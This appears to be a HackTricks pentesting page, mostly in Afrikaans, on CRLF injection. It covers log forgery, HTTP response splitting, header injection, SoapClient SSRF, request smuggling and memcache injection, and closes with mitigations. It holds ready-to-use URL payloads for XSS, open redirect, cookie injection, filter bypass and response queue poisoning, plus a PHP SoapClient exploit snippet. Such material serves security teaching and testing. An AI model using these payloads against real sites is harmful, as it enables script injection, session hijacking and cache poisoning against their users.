CRLF (%0D%0A) Injection

Bug bounty wenk: meld aan vir Intigriti, 'n premium bug bounty platform geskep deur hackers, vir hackers! Sluit by ons aan by https://go.intigriti.com/hacktricks vandag, en begin verdien bounties tot $100,000!

CRLF

Carriage Return (CR) en Line Feed (LF), saam bekend as CRLF, is spesiale karakterreekse wat in die HTTP-protokol gebruik word om die einde van 'n lyn of die begin van 'n nuwe een aan te dui. Webbedieners en blaaiers gebruik CRLF om te onderskei tussen HTTP-koptekste en die liggaam van 'n antwoord. Hierdie karakters word universeel in HTTP/1.1 kommunikasie oor verskeie webbediener tipes, soos Apache en Microsoft IIS, gebruik.

CRLF Injection Kwetsbaarheid

CRLF-inspuiting behels die invoeging van CR- en LF-karakters in gebruiker-geleverde insette. Hierdie aksie mislei die bediener, toepassing of gebruiker om die ingevoegde reeks as die einde van een antwoord en die begin van 'n ander te interpreteer. Terwyl hierdie karakters nie inherent skadelik is nie, kan hul misbruik lei tot HTTP antwoord splitsing en ander kwaadwillige aktiwiteite.

Voorbeeld: CRLF Injection in 'n Loglêer

Voorbeeld hier vandaan

Oorweeg 'n loglêer in 'n admin paneel wat die formaat volg: IP - Tyd - Gvisited Pad. 'n Tipiese inskrywing kan soos volg lyk:

123.123.123.123 - 08:15 - /index.php?page=home

'n Aanvaller kan 'n CRLF-inspuiting gebruik om hierdie log te manipuleer. Deur CRLF-karakters in die HTTP-versoek in te spuit, kan die aanvaller die uitvoerstroom verander en loginskrywings vervals. Byvoorbeeld, 'n ingespuite reeks kan die loginskrywing in:

/index.php?page=home&%0d%0a127.0.0.1 - 08:15 - /index.php?page=home&restrictedaction=edit

Hier, %0d en %0a verteenwoordig die URL-gecodeerde vorms van CR en LF. Na die aanval sal die log misleidend vertoon:

IP - Time - Visited Path

123.123.123.123 - 08:15 - /index.php?page=home&
127.0.0.1 - 08:15 - /index.php?page=home&restrictedaction=edit

Die aanvaller verberg dus hul kwaadwillige aktiwiteite deur dit te laat lyk asof die localhost (‘n entiteit wat tipies vertrou word binne die bedieneromgewing) die aksies uitgevoer het. Die bediener interpreteer die deel van die navraag wat met %0d%0a begin as 'n enkele parameter, terwyl die restrictedaction parameter as 'n ander, aparte invoer geparseer word. Die gemanipuleerde navraag imiteer effektief 'n legitieme administratiewe opdrag: /index.php?page=home&restrictedaction=edit

HTTP Response Splitting

Beskrywing

HTTP Response Splitting is 'n sekuriteitskwesbaarheid wat ontstaan wanneer 'n aanvaller die struktuur van HTTP-antwoorde benut. Hierdie struktuur skei kopstukke van die liggaam deur 'n spesifieke karaktervolgorde, Carriage Return (CR) gevolg deur Line Feed (LF), wat saam CRLF genoem word. As 'n aanvaller daarin slaag om 'n CRLF-volgorde in 'n antwoordkopstuk in te voeg, kan hulle effektief die daaropvolgende antwoordinhoud manipuleer. Hierdie tipe manipulasie kan lei tot ernstige sekuriteitsprobleme, veral Cross-site Scripting (XSS).

XSS deur HTTP Response Splitting

1. Die toepassing stel 'n pasgemaakte kopstuk soos volg in: X-Custom-Header: UserInput

2. Die toepassing haal die waarde vir UserInput uit 'n navraagparameter, sê "user_input". In scenario's waar daar nie behoorlike invoervalidasie en kodering is nie, kan 'n aanvaller 'n payload saamstel wat die CRLF-volgorde insluit, gevolg deur kwaadwillige inhoud.

3. 'n Aanvaller stel 'n URL saam met 'n spesiaal saamgestelde 'user_input': ?user_input=Value%0d%0a%0d%0a<script>alert('XSS')</script>

• In hierdie URL is %0d%0a%0d%0a die URL-gecodeerde vorm van CRLFCRLF. Dit mislei die bediener om 'n CRLF-volgorde in te voeg, wat die bediener dwing om die daaropvolgende deel as die antwoordliggaam te behandel.

4. Die bediener reflekteer die aanvaller se invoer in die antwoordkopstuk, wat lei tot 'n onbedoelde antwoordstruktuur waar die kwaadwillige skrip deur die blaaier as deel van die antwoordliggaam geïnterpreteer word.

'n Voorbeeld van HTTP Response Splitting wat tot Oorplasing lei

Van https://medium.com/bugbountywriteup/bugbounty-exploiting-crlf-injection-can-lands-into-a-nice-bounty-159525a9cb62

Blaaier na:

/%0d%0aLocation:%20http://myweb.com

En die bediener antwoord met die kop:

Location: http://myweb.com

Ander voorbeeld: (van https://www.acunetix.com/websitesecurity/crlf-injection/)

http://www.example.com/somepage.php?page=%0d%0aContent-Length:%200%0d%0a%0d%0aHTTP/1.1%20200%20OK%0d%0aContent-Type:%20text/html%0d%0aContent-Length:%2025%0d%0a%0d%0a%3Cscript%3Ealert(1)%3C/script%3E

In URL Pad

Jy kan die payload binne die URL pad stuur om die antwoord van die bediener te beheer (voorbeeld van hier):

http://stagecafrstore.starbucks.com/%3f%0d%0aLocation:%0d%0aContent-Type:text/html%0d%0aX-XSS-Protection%3a0%0d%0a%0d%0a%3Cscript%3Ealert%28document.domain%29%3C/script%3E
http://stagecafrstore.starbucks.com/%3f%0D%0ALocation://x:1%0D%0AContent-Type:text/html%0D%0AX-XSS-Protection%3a0%0D%0A%0D%0A%3Cscript%3Ealert(document.domain)%3C/script%3E

Check more examples in:

HTTP Header Injection

HTTP Header Injection, wat dikwels deur CRLF (Carriage Return en Line Feed) inspuiting uitgebuit word, laat aanvallers toe om HTTP-koptekste in te voeg. Dit kan sekuriteitsmeganismes soos XSS (Cross-Site Scripting) filters of die SOP (Same-Origin Policy) ondermyn, wat moontlik kan lei tot ongemagtigde toegang tot sensitiewe data, soos CSRF tokens, of die manipulasie van gebruikersessies deur koekie-plasing.

Exploiting CORS via HTTP Header Injection

'n Aanvaller kan HTTP-koptekste inspuit om CORS (Cross-Origin Resource Sharing) te aktiveer, wat die beperkings wat deur SOP opgelê word, omseil. Hierdie oortreding laat skripte van kwaadwillige oorspronge toe om met hulpbronne van 'n ander oorsprong te kommunikeer, wat moontlik toegang tot beskermde data bied.

SSRF and HTTP Request Injection via CRLF

CRLF-inspuiting kan gebruik word om 'n heeltemal nuwe HTTP-versoek te skep en in te spuit. 'n Opmerkelijke voorbeeld hiervan is die kwesbaarheid in PHP se SoapClient klas, spesifiek binne die user_agent parameter. Deur hierdie parameter te manipuleer, kan 'n aanvaller addisionele koptekste en liggaamsinhoud invoeg, of selfs 'n nuwe HTTP-versoek heeltemal inspuit. Hieronder is 'n PHP voorbeeld wat hierdie uitbuiting demonstreer:

$target = 'http://127.0.0.1:9090/test';
$post_string = 'variable=post value';
$crlf = array(
'POST /proxy HTTP/1.1',
'Host: local.host.htb',
'Cookie: PHPSESSID=[PHPSESSID]',
'Content-Type: application/x-www-form-urlencoded',
'Content-Length: '.(string)strlen($post_string),
"\r\n",
$post_string
);

$client = new SoapClient(null,
array(
'uri'=>$target,
'location'=>$target,
'user_agent'=>"IGN\r\n\r\n".join("\r\n",$crlf)
)
);

# Put a netcat listener on port 9090
$client->__soapCall("test", []);

Header Injection to Request Smuggling

Vir meer inligting oor hierdie tegniek en potensiële probleme kyk die oorspronklike bron.

Jy kan essensiële headers inspuit om te verseker dat die agterkant die verbinding oop hou nadat daar op die aanvanklike versoek geantwoord is:

GET /%20HTTP/1.1%0d%0aHost:%20redacted.net%0d%0aConnection:%20keep-alive%0d%0a%0d%0a HTTP/1.1

Afterward, a second request can be specified. This scenario typically involves HTTP request smuggling, a technique where extra headers or body elements appended by the server post-injection can lead to various security exploits.

Exploitation:

1. Malicious Prefix Injection: Hierdie metode behels die vergiftiging van die volgende gebruiker se versoek of 'n webkas deur 'n kwaadwillige voorvoegsel te spesifiseer. 'n Voorbeeld hiervan is:

GET /%20HTTP/1.1%0d%0aHost:%20redacted.net%0d%0aConnection:%20keep-alive%0d%0a%0d%0aGET%20/redirplz%20HTTP/1.1%0d%0aHost:%20oastify.com%0d%0a%0d%0aContent-Length:%2050%0d%0a%0d%0a HTTP/1.1

2. Crafting a Prefix for Response Queue Poisoning: Hierdie benadering behels die skep van 'n voorvoegsel wat, wanneer dit saam met agtereenvolgende rommel gekombineer word, 'n volledige tweede versoek vorm. Dit kan reaksie-ry vergiftiging ontketen. 'n Voorbeeld is:

GET /%20HTTP/1.1%0d%0aHost:%20redacted.net%0d%0aConnection:%20keep-alive%0d%0a%0d%0aGET%20/%20HTTP/1.1%0d%0aFoo:%20bar HTTP/1.1

Memcache Injection

Memcache is a key-value store that uses a clear text protocol. More info in:

For the full information read the original writeup

If a platform is taking data from an HTTP request and using it without sanitizing it to perform requests to a memcache server, an attacker could abuse this behaviour to inject new memcache commands.

For example, in the original discovered vuln, cache keys were used to return the IP and port a user shuold connect to, and attackers were able to inject memcache comands that would poison the cache to send the vistims details (usrnames and passwords included) to the attacker servers:

Moreover, researchers also discovered that they could desync the memcache responses to send the attackers ip and ports to users whose email the attacker didn't know:

How to Prevent CRLF / HTTP Header Injections in Web Applications

To mitigate the risks of CRLF (Carriage Return and Line Feed) or HTTP Header Injections in web applications, the following strategies are recommended:

1. Avoid Direct User Input in Response Headers: Die veiligste benadering is om te weerhou om gebruiker-gelewer insette direk in reaksie koppe in te sluit.

2. Encode Special Characters: As dit nie haalbaar is om direkte gebruiker insette te vermy nie, verseker om 'n funksie te gebruik wat toegewy is aan die kodering van spesiale karakters soos CR (Carriage Return) en LF (Line Feed). Hierdie praktyk voorkom die moontlikheid van CRLF-inspuiting.

3. Update Programming Language: Hou die programmeertaal wat in jou webtoepassings gebruik word gereeld opdateer na die nuutste weergawe. Kies 'n weergawe wat inherent die inspuiting van CR en LF karakters binne funksies wat verantwoordelik is vir die instelling van HTTP-koppe verbied.

CHEATSHEET

Cheatsheet from here

1. HTTP Response Splitting
• /%0D%0ASet-Cookie:mycookie=myvalue (Check if the response is setting this cookie)

2. CRLF chained with Open Redirect
• //www.google.com/%2F%2E%2E%0D%0AHeader-Test:test2
• /www.google.com/%2E%2E%2F%0D%0AHeader-Test:test2
• /google.com/%2F..%0D%0AHeader-Test:test2
• /%0d%0aLocation:%20http://example.com

3. CRLF Injection to XSS
• /%0d%0aContent-Length:35%0d%0aX-XSS-Protection:0%0d%0a%0d%0a23
• /%3f%0d%0aLocation:%0d%0aContent-Type:text/html%0d%0aX-XSS-Protection%3a0%0d%0a%0d%0a%3Cscript%3Ealert%28document.domain%29%3C/script%3E

4. Filter Bypass
• %E5%98%8A = %0A = \u560a
• %E5%98%8D = %0D = \u560d
• %E5%98%BE = %3E = \u563e (>)
• %E5%98%BC = %3C = \u563c (<)
• Payload = %E5%98%8A%E5%98%8DSet-Cookie:%20test

Outomatiese Gereedskap

• https://github.com/Raghavd3v/CRLFsuite

• https://github.com/dwisiswant0/crlfuzz

Brute-Force Opsporing Lys

• https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/crlf.txt

Verwysings

• https://www.invicti.com/blog/web-security/crlf-http-header/

• https://www.acunetix.com/websitesecurity/crlf-injection/

• https://portswigger.net/research/making-http-header-injection-critical-via-response-queue-poisoning

• https://www.netsparker.com/blog/web-security/crlf-http-header/

Bug bounty wenk: meld aan vir Intigriti, 'n premium bug bounty platform geskep deur hackers, vir hackers! Sluit vandag by ons aan by https://go.intigriti.com/hacktricks en begin om belonings tot $100,000 te verdien!